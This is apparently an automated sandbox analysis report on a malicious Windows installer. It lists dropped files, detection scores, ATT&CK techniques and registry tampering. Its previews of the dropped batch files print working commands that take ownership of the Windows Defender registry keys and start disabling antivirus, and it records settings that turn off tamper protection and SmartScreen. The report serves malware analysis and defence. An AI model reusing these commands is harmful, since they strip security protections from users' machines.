Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe

Code function: 4_2_00007FF7C17380F6 SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,SetSecurityDescriptorDacl,SetSecurityDescriptorSacl,GetLastError,MakeSelfRelativeSD,MakeSelfRelativeSD,GetLastError,_invalid_parameter_noinfo_noreturn,

4_2_00007FF7C17380F6

Source: PowerRun64.exe.0.dr

Binary or memory string: ASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning

Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe

Code function: 4_2_00007FF7C175BD40 cpuid

4_2_00007FF7C175BD40

Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	4_2_00007FF7C1756C40
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	4_2_00007FF7C1757498
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: GetLocaleInfoW,	4_2_00007FF7C1757340
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	4_2_00007FF7C1757674
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: GetLocaleInfoW,	4_2_00007FF7C1757548
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: EnumSystemLocalesW,	4_2_00007FF7C175791C
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: try_get_function,GetLocaleInfoW,	4_2_00007FF7C1757EB0
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	4_2_00007FF7C17570F4
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: EnumSystemLocalesW,	4_2_00007FF7C175705C
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: EnumSystemLocalesW,	4_2_00007FF7C1756F8C

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe

Code function: 4_2_00007FF7C171D304 GetSystemTimeAsFileTime,GetCurrentThreadId,GetUserNameExW,GetLastError,GetUserNameExW,GetLastError,LeaveCriticalSection,LeaveCriticalSection,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

4_2_00007FF7C171D304

Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe

4_2_00007FF7C171D304

Source: C:\Users\user\Desktop\Ms63nDrOBa.exe

0_2_0040350F

Lowering of HIPS / PFW / Operating System Security Settings

Disable Microsoft Windows Malicious Software Removal Tool Heartbeat Telemetry

Source: C:\Windows\SysWOW64\reg.exe

Registry value created: SpyNetReportingLocation 0

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions	Registry value created: DisableAutoExclusions 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Mpuser	Registry value created: MpEnablePus 0

Disables Windows Defender Tamper protection

Source: C:\Windows\SysWOW64\reg.exe

Registry value created: TamperProtectionSource 2

Jump to behavior

Disables the Smart Screen filter

Source: C:\Windows\SysWOW64\reg.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer SmartScreenEnabled Off

Jump to behavior

Disables the phising filter of Microsoft Edge

Source: C:\Windows\SysWOW64\reg.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter PreventOverride

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	2 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	6 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	2 Browser Session Hijacking	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	Logon Script (Windows)	1 Access Token Manipulation	1 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Clipboard Data	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	12 Process Injection	1 Timestomp	NTDS	54 System Information Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	131 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Bypass User Account Control	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Modify Registry	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Ms63nDrOBa.exe	29%	ReversingLabs	Win32.Trojan.Generic
Ms63nDrOBa.exe	34%	Virustotal		Browse
Ms63nDrOBa.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\nse5B61.tmp\uxdabweej.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\nse5B61.tmp\PowerRun64.exe	21%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nse5B61.tmp\PowerRun64.exe	19%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\nse5B61.tmp\nsExec.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nse5B61.tmp\nsExec.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\nse5B61.tmp\uxdabweej.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nse5B61.tmp\uxdabweej.exe	5%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\nse5B61.tmp\win_version_csharp.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nse5B61.tmp\win_version_csharp.exe	1%	Virustotal	Browse

Source	Detection	Scanner	Label	Link
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
https://helgeklein.com.	0%	Avira URL Cloud	safe
https://helgeklein.com	0%	Avira URL Cloud	safe
https://helgeklein.com/setacl/documentation/command-line-version-setacl-exe	0%	Avira URL Cloud	safe
https://helgeklein.com.	0%	Virustotal		Browse
https://helgeklein.com/setacl/documentation/command-line-version-setacl-exe	0%	Virustotal		Browse
https://helgeklein.com	0%	Virustotal		Browse

Name	Source	Malicious	Antivirus Detection	Reputation
http://nsis.sf.net/NSIS_ErrorError	Ms63nDrOBa.exe	false	URL Reputation: safe	unknown
https://helgeklein.com.	SetACL64.exe, SetACL64.exe, 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000004.00000000.2139148802.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000007.00000002.2144133422.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000007.00000000.2143385127.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000008.00000000.2144794323.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000008.00000002.2145879994.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000009.00000000.2146220599.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000009.00000002.2147316022.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000A.00000002.2151463967.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000A.00000000.2147801505.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000B.00000000.2152310864.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000B.00000002.2153178276.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000C.00000000.2153676169.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000C.00000002.2154453959.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000D.00000000.2154984222.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000D.00000002.2156028330.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://helgeklein.com	SetACL64.exe, SetACL64.exe, 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000004.00000000.2139148802.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000007.00000002.2144133422.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000007.00000000.2143385127.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000008.00000000.2144794323.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000008.00000002.2145879994.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000009.00000000.2146220599.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000009.00000002.2147316022.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000A.00000002.2151463967.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000A.00000000.2147801505.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000B.00000000.2152310864.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000B.00000002.2153178276.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000C.00000000.2153676169.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000C.00000002.2154453959.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000D.00000000.2154984222.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000D.00000002.2156028330.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://helgeklein.com/setacl/documentation/command-line-version-setacl-exe	SetACL64.exe, SetACL64.exe, 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000004.00000000.2139148802.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000007.00000002.2144133422.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000007.00000000.2143385127.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000008.00000000.2144794323.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000008.00000002.2145879994.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000009.00000000.2146220599.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 00000009.00000002.2147316022.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000A.00000002.2151463967.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000A.00000000.2147801505.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000B.00000000.2152310864.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000B.00000002.2153178276.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000C.00000000.2153676169.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000C.00000002.2154453959.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000D.00000000.2154984222.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe, 0000000D.00000002.2156028330.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmp, SetACL64.exe.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1472092
Start date and time:	2024-07-12 09:52:20 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	44
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Ms63nDrOBa.exe renamed because original name is a hash value
Original Sample Name:	ad3a57927668a9560b5f01d7ff54c881.exe
Detection:	MAL
Classification:	mal96.phis.evad.winEXE@149/9@0/0
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 75 Number of non-executed functions: 145
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded IPs from analysis (whitelisted): 40.127.169.103, 13.85.23.206, 2.16.100.168, 88.221.110.91
Excluded domains from analysis (whitelisted): client.wns.windows.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	file.exe	Get hash	malicious	Unknown	Browse
	Ptmhbplhxb.exe	Get hash	malicious	Unknown	Browse
	P196hUN2fw.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Local\Temp\nse5B61.tmp\nsExec.dll	SecuriteInfo.com.PUA.Tool.InstSrv.10.1046.23999.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.PUA.Tool.InstSrv.10.1046.23999.exe	Get hash	malicious	Unknown	Browse
	rSCAN31804.exe	Get hash	malicious	GuLoader, Remcos	Browse
	rSCAN31804.exe	Get hash	malicious	GuLoader	Browse
	SCAN00381638.SCR.exe	Get hash	malicious	GuLoader, Remcos	Browse
	SCAN00381638.SCR.exe	Get hash	malicious	GuLoader	Browse
	setup#U67e5#U770b.exe	Get hash	malicious	Unknown	Browse
	BxBT7a2sCE.exe	Get hash	malicious	GuLoader	Browse
	f1vPbtLjJn.exe	Get hash	malicious	GuLoader	Browse
	PO 345504521#.exe	Get hash	malicious	GuLoader	Browse
C:\Users\user\AppData\Local\Temp\nse5B61.tmp\PowerRun64.exe	Ptmhbplhxb.exe	Get hash	malicious	Unknown	Browse
	P196hUN2fw.exe	Get hash	malicious	Unknown	Browse
	e4.exe	Get hash	malicious	RedLine	Browse
	2dOeahdsto.exe	Get hash	malicious	Xmrig	Browse
	bQQHP9ciRL.exe	Get hash	malicious	Xmrig	Browse
	DllHost.exe	Get hash	malicious	Xmrig	Browse
	Fza7TPh6Z7.exe	Get hash	malicious	Unknown	Browse
	SAlxtNmHFR.exe	Get hash	malicious	RedLine Xmrig	Browse
	BFSdrqaAvS.exe	Get hash	malicious	Amadey RedLine	Browse
	We7WnoqeXe.exe	Get hash	malicious	Amadey RedLine	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nse5B61.tmp\Aygldmdino.ico

Download File

Process:	C:\Users\user\Desktop\Ms63nDrOBa.exe
File Type:	MS Windows icon resource - 3 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15086
Entropy (8bit):	5.150938541565102
Encrypted:	false
SSDEEP:	192:Vv17chSvlS4dPrKujOlq5FnyPPc6gO7Dm:Vv1RzrKT0Gha
MD5:	49B98E639F4227764354822911E202AF
SHA1:	B331473E67138A81FB4B445AF28217E2F814D167
SHA-256:	036EA9ACF3E8F9E58A83A1D2BCB1F0C756EF3C2A8671EC1CB527A6ED2CC91DD9
SHA-512:	5EAEB99EFD005F103FAD5550EB0B5731D7B2A49463C82F81B81BC282E6B905008E037F11671E57ECEC1A6791E9EB0D65A7EFA92994B6285ED4E4E8C79FE3D761
Malicious:	false
Preview:	............ .h...6... .... .........00.... ..%..F...(....... ..... .......................................................H@.........................sb.........//0F112.556.;;<.CCD.JKK.[]R............................>7......122z788.=>>.BDD.GII.KMM.OPP.....................................011z566.:;;.@AA.DEE.HII.IKK.llG.................................-..z233.788.<==.@AA.CDD.DEE.DEE.TMR.zaa.y_U.oXN.dPN.gLK..lvP....+,,z/00.344.788.=>>.?@@.>??.?@@.FGG.;<<.788.344./00.$$$.........())z,--./00.344.JJJ.EFF.8::.@@@.JJJ.TUU.233./00.+,,.!!".........%&&z()).+,,.-//.GHH.RSS.?@@.>??.bbb.899..//.+,,.())............."##z%&&.'((.).IJJ.QRR.hhh.QQQ.eee.mmm.,--.'((.$%%.............!!!z"##.#$$.%&&.LLL.eff.....BCC.,--./00.'((.#$$."##............. !!z!""."##."##.'((.344.-...$%%.#$$.#$$."##."##.!"".............!""z!""."##."##.!""."##."##."##."##."##."##."##.!"".............!!"z!"".!"".!""."##."##.!""."""."##.!"".!"".!"".!"".............!""z!""."##.!"".""".!"".!"".!"".!"".!"".""".!""."##.............B)

C:\Users\user\AppData\Local\Temp\nse5B61.tmp\PowerRun64.exe

Download File

Process:	C:\Users\user\Desktop\Ms63nDrOBa.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	945944
Entropy (8bit):	6.654096172451499
Encrypted:	false
SSDEEP:	24576:X2DW/xbMX2YIbxQsu3/PNLoQ+HyS2I4jRk:X2EgXoQsW/PNUQWnX4jRk
MD5:	EFE5769E37BA37CF4607CB9918639932
SHA1:	F24CA204AF2237A714E8B41D54043DA7BBE5393B
SHA-256:	5F9DFD9557CF3CA96A4C7F190FC598C10F8871B1313112C9AEA45DC8443017A2
SHA-512:	33794A567C3E16582DA3C2AC8253B3E61DF19C255985277C5A63A84A673AC64899E34E3B1EBB79E027F13D66A0B8800884CDD4D646C7A0ABE7967B6316639CF1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21% Antivirus: Virustotal, Detection: 19%, Browse
Joe Sandbox View:	Filename: Ptmhbplhxb.exe, Detection: malicious, Browse Filename: P196hUN2fw.exe, Detection: malicious, Browse Filename: e4.exe, Detection: malicious, Browse Filename: 2dOeahdsto.exe, Detection: malicious, Browse Filename: bQQHP9ciRL.exe, Detection: malicious, Browse Filename: DllHost.exe, Detection: malicious, Browse Filename: Fza7TPh6Z7.exe, Detection: malicious, Browse Filename: SAlxtNmHFR.exe, Detection: malicious, Browse Filename: BFSdrqaAvS.exe, Detection: malicious, Browse Filename: We7WnoqeXe.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i.@............yGI......p\.}....pJ......p[.............._.....................pP......ZJ......ZK.......H......pN.....Rich............................PE..d...(..K..........#......\...*......\|..........@.....................................N........@...............@.................................T................j...Q.. ............................................................p...............................text....Z.......\.................. ..`.rdata...V...p...X...`..............@..@.data............v..................@....pdata...j.......l..................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe

Download File

Process:	C:\Users\user\Desktop\Ms63nDrOBa.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	616312
Entropy (8bit):	6.302197712270286
Encrypted:	false
SSDEEP:	12288:3G2NBTh+l8gAqAbdsuEa3nZGSebY7o937bfJ9Ud:3xNBTYlaLdaynZGBc7orbJ9Ud
MD5:	1FB64FF73938F4A04E97E5E7BF3D618C
SHA1:	AA0F7DB484D0C580533DEC0E9964A59588C3632B
SHA-256:	4EFC87B7E585FCBE4EAED656D3DBADAEC88BECA7F92CA7F0089583B428A6B221
SHA-512:	DA6007847FFE724BD0B0ABE000B0DD5596E2146F4C52C8FE541A2BF5F5F2F5893DCCD53EF315206F46A9285DDBD766010B226873038CCAC7981192D8C9937ECE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: Ptmhbplhxb.exe, Detection: malicious, Browse Filename: P196hUN2fw.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................}.........@..........................................................g...........Rich....................PE..d.....`..........".................x$.........@..........................................`.............................................................x.... ..P@...J..x...............p.......................(.......8...............8............................text............................... ..`.rdata... ......."..................@..@.data....8..........................@....pdata..P@... ...B..................@..@_RDATA.......p.......$..............@..@.rsrc...x............&..............@..@.reloc...............<..............@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nse5B61.tmp\bn.bat

Download File

Process:	C:\Users\user\Desktop\Ms63nDrOBa.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	158
Entropy (8bit):	4.80690240808071
Encrypted:	false
SSDEEP:	3:tMwDDbRx8iF/Q+VVyXCQyKbup/qNyfrZfyM1KJA7XFhtAG5cF2IJVkBf3GId:pnIm/HVsXZlm/ZH18A7XFhtF5c0IJOBv
MD5:	CD22CAEA1D452F4AE5E9DCD3F41741CD
SHA1:	A316865317B46ECED16BD67B4FFAF7B9740CFAAE
SHA-256:	9AB6A3D57D266265EBA1E12C0A12F9ACF2EE0317EFF89D608486E6E46A229D7F
SHA-512:	522AD25F2FDE1F66EDC9944B3029A87A09C1F3F2AA9C4510A01015394542136A6DB9E3C69632C24F15893359483638BC2E6329343E7865E71606C1FDD9D394EC
Malicious:	false
Preview:	@echo off & title f & color 17.. cd %~dp0.. SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn setowner -ownr "n:Administrators"..

C:\Users\user\AppData\Local\Temp\nse5B61.tmp\bn1.bat

Download File

Process:	C:\Users\user\Desktop\Ms63nDrOBa.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12658
Entropy (8bit):	5.1902260402180405
Encrypted:	false
SSDEEP:	192:OBoBaf8nBftOMBzALyeKv9eA3sQlxRyEiLivnzA6fFrs3qUEGA6oh/HbzBBzKF6a:vK
MD5:	4F452A4396042213CF675A0A9EA03643
SHA1:	F46F8B37112F04DAEF0C5408D5AACF076EEB4B52
SHA-256:	EE79BB638FDE456E18195A6A5882616B9A6E9390965CB3365AE6873E92F6F090
SHA-512:	CC501309C5E946E6F157E3A14D0048B929852CE6C4C1ED910ACC7E37E8BDCB77475B5411B2372410D2827F5CE08D1FF8D2301A949385A5550514EF7E9B8B6F0F
Malicious:	false
Preview:	@echo off & title f & color 17.. cd %~dp0.. SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full".. SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn setowner -ownr "n:Administrators".. SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full".. SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn setowner -ownr "n:Administrators".. SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn ace -ace "n:Administrators;p:full".. SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn setowner -ownr "n:Administrators".. SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn ace -ace "n:Administrators;p:full".. reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" 